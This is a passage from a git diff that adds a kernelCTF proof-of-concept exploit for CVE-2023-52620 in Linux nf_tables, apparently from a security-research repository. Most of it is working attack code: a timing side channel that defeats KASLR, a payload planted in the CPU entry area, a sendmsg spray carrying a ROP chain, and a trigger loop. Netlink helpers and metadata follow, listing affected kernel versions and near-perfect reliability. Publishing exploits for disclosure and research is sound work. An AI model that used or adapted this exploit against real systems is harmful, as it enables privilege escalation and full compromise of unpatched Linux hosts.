+ "lfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + + +void prefetch(void* p) +{ + asm volatile ( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r" (p)); +} + +size_t flushandreload(void* addr) // row miss +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0])) + +int bypass_kaslr(uint64_t base) { + if (!base) { + #ifdef KASLR_BYPASS_INTEL + #define OFFSET 0 + #define START (0xffffffff81000000ull + OFFSET) + #define END (0xffffffffD0000000ull + OFFSET) + #define STEP 0x0000000001000000ull + while (1) { + uint64_t bases[7] = {0}; + for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) { + size_t times[(END - START) / STEP] = {}; + uint64_t addrs[(END - START) / STEP]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + times[ti] = ~0; + addrs[ti] = START + STEP * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void*)addr); + if (t < times[ti]) { + times[ti] = t; + } + } + } + + size_t minv = ~0; + size_t mini = -1; + for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) { + if (times[ti] < minv) { + mini = ti; + minv = times[ti]; + } + } + + if (mini < 0) { + return -1; + } + + bases[vote] = addrs[mini]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (c == 0) { + base = bases[i]; + } else if (base == bases[i]) { + c++; + } else { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (base == bases[i]) { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) { + base -= OFFSET; + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %llx with %d votes\n", base, c); + } + #else + #define START (0xffffffff81000000ull) + #define END (0xffffffffc0000000ull) + #define STEP 0x0000000000200000ull + #define NUM_TRIALS 7 + // largest contiguous mapped area at the beginning of _stext + #define WINDOW_SIZE 11 + + while (1) { + uint64_t bases[NUM_TRIALS] = {0}; + + for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) { + size_t times[(END - START) / STEP] = {}; + uint64_t addrs[(END - START) / STEP]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + times[ti] = ~0; + addrs[ti] = START + STEP * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void*)addr); + if (t < times[ti]) { + times[ti] = t; + } + } + } + + uint64_t max = 0; + int max_i = 0; + for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) { + uint64_t sum = 0; + for (int i = 0; i < WINDOW_SIZE; i++) { + sum += times[ti + i]; + } + if (sum > max) { + max = sum; + max_i = ti; + } + } + + bases[vote] = addrs[max_i]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (c == 0) { + base = bases[i]; + } else if (base == bases[i]) { + c++; + } else { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (base == bases[i]) { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) { + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %llx with %d votes\n", base, c); + } + #endif + } + +got_base: + printf("using kernel base %llx\n", base); + + kbase = base; + // i64 diff = 0xffffffff81000000 - base; + // printf("diff: %lld\n", diff); + + return 0; +} + +static void sig_handler(int s) {} + +static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) { + asm volatile ( + "mov %0, %%rsp\n" + "pop %%r15\n" + "pop %%r14\n" + "pop %%r13\n" + "pop %%r12\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r11\n" + "pop %%r10\n" + "pop %%r9\n" + "pop %%r8\n" + "pop %%rax\n" + "pop %%rcx\n" + "pop %%rdx\n" + "pop %%rsi\n" + "pop %%rdi\n" + "divq (0x1234000)\n" + "1:\n" + "jmp 1b\n" + : : "r"(payload) + ); + __builtin_unreachable(); +} + +// Fill the CPU entry area exception stack of HELPER_CPU with a +// struct cpu_entry_area_payload +static void setup_cpu_entry_area() { + if (fork()) { + return; + } + + struct cpu_entry_area_payload payload = {}; + payload.nft_expr_eval = kbase + PUSH_RBX_POP_RSP_RBP; + + set_affinity(1); + signal(SIGFPE, sig_handler); + signal(SIGTRAP, sig_handler); + signal(SIGSEGV, sig_handler); + setsid(); + + write_cpu_entry_area(&payload); +} + +#define MSG_SIZE 0x2010 + +void spray_sendmsg() { + char buf[MSG_SIZE]; + struct msghdr msg = {0}; + struct sockaddr_in addr = {0}; + int sockfd = socket(AF_INET, SOCK_DGRAM, 0); + + rop_chain((uint64_t*) buf); + + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_family = AF_INET; + addr.sin_port = htons(6666); + + msg.msg_control = buf; + msg.msg_controllen = MSG_SIZE; + msg.msg_name = (caddr_t)&addr; + msg.msg_namelen = sizeof(addr); + + set_affinity(0); + + sendmsg(sockfd, &msg, 0); +} + +void start(){ + save_state(); + + bypass_kaslr(0); + + setup_cpu_entry_area(); + + set_affinity(0); + + buf = malloc(BUF_SIZE); + + while(1){ + setup(); + + setup_table_chain(); + + trigger(set_rop_name, chain_rop_name); + + spray_sendmsg(); + + if(fork() == 0){ + trig_sock(); + exit(1); + } + + // wait for trig_sock() to complete + sleep(1); + } +} + +int main(int argc, char ** argv) +{ + start(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/netlink_utils.h b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/netlink_utils.h new file mode 100644 index 000000000..ce994bdf3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/netlink_utils.h @@ -0,0 +1,229 @@ +/* + * Utils used to communicate with the kernel via Netlink. + * Useful for static linking. + */ + +#include +#include +#include +#include + +#define PAGE_SIZE 0x1000 +#define NL_AUTO_SEQ 0 +#define NL_AUTO_PID 0 + +void *nlmsg_tail(const struct nlmsghdr *msg) +{ + return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len); +} + +void *nlmsg_data(const struct nlmsghdr *msg) +{ + return NLMSG_DATA(msg); +} + +int nlmsg_datalen(const struct nlmsghdr *msg) +{ + return msg->nlmsg_len - NLMSG_HDRLEN; +} + +struct nlmsghdr *nlmsg_alloc(void) +{ + struct nlmsghdr *msg; + + msg = calloc(1, 0x1000); + if (!msg) + return NULL; + + msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0)); + return msg; +} + +struct nlmsghdr *nlmsg_init(int type, int flags) +{ + struct nlmsghdr *msg; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + msg->nlmsg_type = type; + msg->nlmsg_flags = flags; + msg->nlmsg_seq = NL_AUTO_SEQ; + msg->nlmsg_pid = NL_AUTO_PID; + + return msg; +} + +void nlmsg_free(struct nlmsghdr *msg) +{ + free(msg); +} + +int nl_init_request(int type, struct nlmsghdr **msg, int flags) +{ + int sk; + struct nlmsghdr *n; + + sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sk < 0) + return -1; + + n = nlmsg_init(type, flags); + if (!n) { + close(sk); + return -1; + } + + *msg = n; + return sk; +} + +void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad) +{ + char *data = (char *)msg; + size_t tlen; + + tlen = NLMSG_ALIGN(len); + data += msg->nlmsg_len; + msg->nlmsg_len += tlen; + + if (tlen > len) + memset(data + len, 0, tlen - len); + + return data; +} + +int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad) +{ + void *tmp; + + tmp = nlmsg_reserve(msg, len, pad); + if (tmp == NULL) + return -1; + + memcpy(tmp, data, len); + return 0; +} + +int nl_sendmsg(int sk, struct nlmsghdr *msg) +{ + struct iovec iov = {}; + struct msghdr hdr = {}; + + if (sk < 0) + return -1; + + iov.iov_base = (void *)msg; + /* + * Here add NLMSG_GOODSIZE (0xec0) to the total message length + * to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc(): + * https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190 + * Useful to reduce noise in kmalloc-512 slabs. + */ + iov.iov_len = msg->nlmsg_len + 0xec0; + + hdr.msg_name = NULL; + hdr.msg_namelen = sizeof(struct sockaddr_nl); + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + return sendmsg(sk, &hdr, 0); +} + +int nl_complete_request(int sock, struct nlmsghdr *msg) +{ + int ret; + + ret = nl_sendmsg(sock, msg); + nlmsg_free(msg); + close(sock); + + return ret; +} + +void *nla_data(const struct nlattr *nla) +{ + return (char *)nla + NLA_HDRLEN; +} + +int nla_attr_size(int payload) +{ + return NLA_HDRLEN + payload; +} + +int nla_total_size(int payload) +{ + return NLA_ALIGN(nla_attr_size(payload)); +} + +int nla_padlen(int payload) +{ + return nla_total_size(payload) - nla_attr_size(payload); +} + +struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen) +{ + struct nlattr *nla; + + nla = (struct nlattr *)nlmsg_tail(msg); + nla->nla_type = attrtype; + nla->nla_len = nla_attr_size(attrlen); + + memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen)); + + msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen); + return nla; +} + +int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data) +{ + struct nlattr *nla; + + nla = nla_reserve(msg, attrtype, datalen); + if (!nla) + return -1; + + memcpy(nla_data(nla), data, datalen); + return 0; +} + +int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value) +{ + return nla_put(msg, attrtype, sizeof(uint32_t), &value); +} + +int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str) +{ + return nla_put(msg, attrtype, strlen(str) + 1, str); +} + +int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested) +{ + return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype) +{ + struct nlattr *start = (struct nlattr *)nlmsg_tail(msg); + + if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0) + return NULL; + + return start; +} + +int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start) +{ + size_t pad, len; + + len = (char *)nlmsg_tail(msg) - (char *)start; + start->nla_len = len; + + pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len; + if (pad > 0) { + if (!nlmsg_reserve(msg, pad, 0)) + return -1; + } + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/metadata.json new file mode 100644 index 000000000..607b34e22 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/metadata.json @@ -0,0 +1,50 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp141", + "exp143", + "exp149" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e26d3009efda338f19016df4175f354a9bd0a4ab", + "cve": "CVE-2023-52620", + "affected_versions": [ + "4.1-rc1 - 6.4-rc7" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN" + ], + "kernel_config": [ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "lts-6.1.78": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "9 times success per 10 times run" + }, + "cos-105-17412.294.34": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "9 times success per 10 times run" + }, + "mitigation-v3-6.1.55": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp141.tar.gz b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp141.tar.gz new file mode 100644 index 000000000..28127b59f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp141.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp143.tar.gz b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp143.tar.gz new file mode 100644 index 000000000..68567bc78 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp143.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp149.tar.gz b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp149.tar.gz new file mode 100644 index 000000000..46afd58cb Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/original_exp149.tar.gz differ